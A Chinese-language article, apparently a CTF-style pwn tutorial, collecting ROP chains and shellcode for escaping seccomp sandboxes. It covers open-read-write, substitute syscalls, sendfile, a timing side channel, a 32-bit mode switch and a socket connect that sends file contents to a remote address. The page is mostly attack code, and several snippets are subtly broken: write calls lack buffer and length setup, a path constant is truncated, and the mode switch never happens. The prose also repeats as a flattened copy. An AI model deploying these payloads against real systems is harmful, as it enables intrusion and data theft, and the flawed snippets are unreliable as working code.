对二进制安全中沙盒的深入了解与分析(rop与shellcode集合)
字数 938 2025-08-29 22:41:01

二进制安全中沙盒的深入了解与分析:ROP与Shellcode集合

前言

在二进制安全领域,沙盒是一种重要的保护机制,它通过限制系统调用来增加攻击难度。本文档将详细介绍如何绕过沙盒限制,提供ROP链和Shellcode的实用集合,帮助安全研究人员在面对沙盒环境时快速构建有效攻击。

沙盒基础

沙盒概念

沙盒是一种程序保护机制,通过禁用特定系统调用来增加攻击难度。最常见的限制是禁用execve系统调用,迫使攻击者使用ORW(Open-Read-Write)方法读取文件内容。

沙盒检测方法

在开始攻击前,需要先检测目标程序是否启用了沙盒以及具体限制了哪些系统调用。常见检测方法包括:

  • 使用seccomp-tools分析二进制文件
  • 尝试执行受限系统调用并观察行为
  • 检查程序是否调用了prctlseccomp相关函数

ROP与Shellcode技术

Open+Read+Write组合

这是绕过沙盒最基础的组合,适用于允许文件操作但禁止执行的情况。

ROP实现

# x86_64架构下的ROP链示例
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(0xdeadbeef)  # 文件名地址
rop.raw(elf.sym['open'])
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(3)  # 文件描述符
rop.raw(rop.find_gadget(['pop rsi', 'ret']))
rop.raw(0xcafebabe)  # 缓冲区地址
rop.raw(rop.find_gadget(['pop rdx', 'ret']))
rop.raw(0x100)  # 读取长度
rop.raw(elf.sym['read'])
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(1)  # stdout
rop.raw(elf.sym['write'])

Shellcode实现

; x86_64 Shellcode示例
_start:
    ; open("flag", 0, 0)
    xor rax, rax
    mov al, 2  ; sys_open
    mov rdi, 0x67616c662f  ; "/flag"字符串
    push rdi
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall
    
    ; read(fd, buf, len)
    mov rdi, rax  ; 文件描述符
    mov rsi, rsp  ; 缓冲区
    mov rdx, 0x100  ; 长度
    xor rax, rax  ; sys_read
    syscall
    
    ; write(1, buf, len)
    mov rdi, 1  ; stdout
    mov rax, 1  ; sys_write
    syscall

Open替代方案

open被禁用时,可以使用以下替代系统调用:

openat

; openat(AT_FDCWD, "flag", O_RDONLY, 0)
mov rax, 257  ; sys_openat
mov rdi, -100  ; AT_FDCWD
mov rsi, 0x67616c662f  ; "/flag"
push rsi
mov rsi, rsp
xor rdx, rdx  ; O_RDONLY
xor r10, r10
syscall

openat2

; openat2(AT_FDCWD, "flag", &how, sizeof(how))
mov rax, 437  ; sys_openat2
mov rdi, -100  ; AT_FDCWD
mov rsi, 0x67616c662f  ; "/flag"
push rsi
mov rsi, rsp
lea rdx, [rsp-0x20]  ; &how
mov byte [rdx], 0  ; flags
mov byte [rdx+8], 0  ; mode
mov r10, 24  ; sizeof(how)
syscall

Read替代方案

pread

; pread(fd, buf, len, offset)
mov rax, 17  ; sys_pread
mov rdi, 3  ; fd
mov rsi, rsp  ; buf
mov rdx, 0x100  ; len
xor r10, r10  ; offset
syscall

readv

; readv(fd, iov, iovcnt)
mov rax, 19  ; sys_readv
mov rdi, 3  ; fd
lea rsi, [rsp-0x20]  ; iov
mov qword [rsi], rsp  ; iov_base
mov qword [rsi+8], 0x100  ; iov_len
mov rdx, 1  ; iovcnt
syscall

preadv

; preadv(fd, iov, iovcnt, offset)
mov rax, 295  ; sys_preadv
mov rdi, 3  ; fd
lea rsi, [rsp-0x20]  ; iov
mov qword [rsi], rsp  ; iov_base
mov qword [rsi+8], 0x100  ; iov_len
mov rdx, 1  ; iovcnt
xor r10, r10  ; offset
syscall

Write替代方案

writev

; writev(fd, iov, iovcnt)
mov rax, 20  ; sys_writev
mov rdi, 1  ; stdout
lea rsi, [rsp-0x20]  ; iov
mov qword [rsi], rsp  ; iov_base
mov qword [rsi+8], 0x100  ; iov_len
mov rdx, 1  ; iovcnt
syscall

sendfile系统调用

sendfile可以同时替代readwrite,效率更高:

; sendfile(out_fd, in_fd, offset, count)
mov rax, 40  ; sys_sendfile
mov rdi, 1  ; stdout
mov rsi, 3  ; input fd
xor rdx, rdx  ; offset
mov r10, 0x100  ; count
syscall

mmap技术

当需要分配内存或修改内存权限时:

; mmap(addr, length, prot, flags, fd, offset)
mov rax, 9  ; sys_mmap
xor rdi, rdi  ; addr (NULL)
mov rsi, 0x1000  ; length
mov rdx, 7  ; PROT_READ|PROT_WRITE|PROT_EXEC
mov r10, 0x22  ; MAP_PRIVATE|MAP_ANONYMOUS
mov r8, -1  ; fd
mov r9, 0  ; offset
syscall

特殊场景绕过技术

侧信道攻击

当完全没有输出手段时(如close(1)),可以使用侧信道攻击:

; 假设flag已读到栈上但无法输出
mov rdi, [rsp]  ; 读取flag第一个字节
cmp rdi, 'f'    ; 猜测字符
je slow         ; 如果匹配,执行耗时操作
ret

slow:
; 执行一些耗时操作,如循环
mov rcx, 0xfffffff
loop:
    nop
    loop loop

通过测量响应时间来判断猜测是否正确。

32位转换技术

当沙盒没有架构检测时,可以切换到32位模式:

ROP实现

# 调用mprotect修改内存权限
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(0xdead0000)  # 32位地址
rop.raw(rop.find_gadget(['pop rsi', 'ret']))
rop.raw(0x1000)  # 长度
rop.raw(rop.find_gadget(['pop rdx', 'ret']))
rop.raw(7)  # PROT_READ|PROT_WRITE|PROT_EXEC
rop.raw(elf.sym['mprotect'])
rop.raw(0xdead0000)  # 跳转到32位shellcode

Shellcode实现

; 32位shellcode示例
bits 32
_start:
    ; open("flag", 0, 0)
    xor eax, eax
    mov al, 5  ; sys_open
    mov ebx, 0x67616c66  ; "flag"
    push ebx
    mov ebx, esp
    xor ecx, ecx
    xor edx, edx
    int 0x80
    
    ; read(fd, buf, len)
    mov ebx, eax  ; fd
    mov ecx, esp  ; buf
    mov edx, 0x100  ; len
    xor eax, eax  ; sys_read
    int 0x80
    
    ; write(1, buf, len)
    mov ebx, 1  ; stdout
    mov eax, 4  ; sys_write
    int 0x80

绕过close(1)

当标准输出被关闭时,可以尝试以下方法:

远程链接socket&connect

; socket(AF_INET, SOCK_STREAM, 0)
mov rax, 41  ; sys_socket
mov rdi, 2  ; AF_INET
mov rsi, 1  ; SOCK_STREAM
xor rdx, rdx
syscall

; connect(sockfd, &addr, addrlen)
mov rdi, rax  ; sockfd
mov rsi, 0xdeadbeef  ; &addr (struct sockaddr_in)
mov rdx, 16  ; addrlen
mov rax, 42  ; sys_connect
syscall

; 之后可以使用send/write发送数据

重新打开/dev/pts

; open("/dev/pts/X", O_WRONLY)
mov rax, 2  ; sys_open
mov rdi, 0x7374702f7665642f  ; "/dev/pts/X"
push rdi
mov rdi, rsp
mov rsi, 1  ; O_WRONLY
syscall

; 将返回的fd复制到stdout
mov rdi, rax  ; new fd
mov rsi, 1  ; stdout
mov rax, 33  ; sys_dup2
syscall

超级代码示例

结合多个系统调用的高效shellcode:

; 结合openat+sendfile的高效实现
_start:
    ; openat(AT_FDCWD, "flag", O_RDONLY, 0)
    mov rax, 257  ; sys_openat
    mov rdi, -100  ; AT_FDCWD
    mov rsi, 0x67616c662f  ; "/flag"
    push rsi
    mov rsi, rsp
    xor rdx, rdx  ; O_RDONLY
    xor r10, r10
    syscall
    
    ; sendfile(stdout, fd, 0, 0x100)
    mov rdi, 1  ; stdout
    mov rsi, rax  ; fd
    xor rdx, rdx  ; offset
    mov r10, 0x100  ; count
    mov rax, 40  ; sys_sendfile
    syscall
    
    ; exit(0)
    mov rax, 60
    xor rdi, rdi
    syscall

总结

本文提供了在沙盒环境下常用的ROP链和Shellcode集合,涵盖了文件操作的各种替代方案以及特殊场景的绕过技术。在实际应用中,需要根据目标程序的沙盒配置选择合适的绕过方法,并可能需要结合多种技术才能成功实现攻击。

二进制安全中沙盒的深入了解与分析:ROP与Shellcode集合 前言 在二进制安全领域,沙盒是一种重要的保护机制,它通过限制系统调用来增加攻击难度。本文档将详细介绍如何绕过沙盒限制,提供ROP链和Shellcode的实用集合,帮助安全研究人员在面对沙盒环境时快速构建有效攻击。 沙盒基础 沙盒概念 沙盒是一种程序保护机制,通过禁用特定系统调用来增加攻击难度。最常见的限制是禁用 execve 系统调用,迫使攻击者使用ORW(Open-Read-Write)方法读取文件内容。 沙盒检测方法 在开始攻击前,需要先检测目标程序是否启用了沙盒以及具体限制了哪些系统调用。常见检测方法包括: 使用 seccomp-tools 分析二进制文件 尝试执行受限系统调用并观察行为 检查程序是否调用了 prctl 或 seccomp 相关函数 ROP与Shellcode技术 Open+Read+Write组合 这是绕过沙盒最基础的组合,适用于允许文件操作但禁止执行的情况。 ROP实现 Shellcode实现 Open替代方案 当 open 被禁用时,可以使用以下替代系统调用: openat openat2 Read替代方案 pread readv preadv Write替代方案 writev sendfile系统调用 sendfile 可以同时替代 read 和 write ,效率更高: mmap技术 当需要分配内存或修改内存权限时: 特殊场景绕过技术 侧信道攻击 当完全没有输出手段时(如 close(1) ),可以使用侧信道攻击: 通过测量响应时间来判断猜测是否正确。 32位转换技术 当沙盒没有架构检测时,可以切换到32位模式: ROP实现 Shellcode实现 绕过close(1) 当标准输出被关闭时,可以尝试以下方法: 远程链接socket&connect 重新打开/dev/pts 超级代码示例 结合多个系统调用的高效shellcode: 总结 本文提供了在沙盒环境下常用的ROP链和Shellcode集合,涵盖了文件操作的各种替代方案以及特殊场景的绕过技术。在实际应用中,需要根据目标程序的沙盒配置选择合适的绕过方法,并可能需要结合多种技术才能成功实现攻击。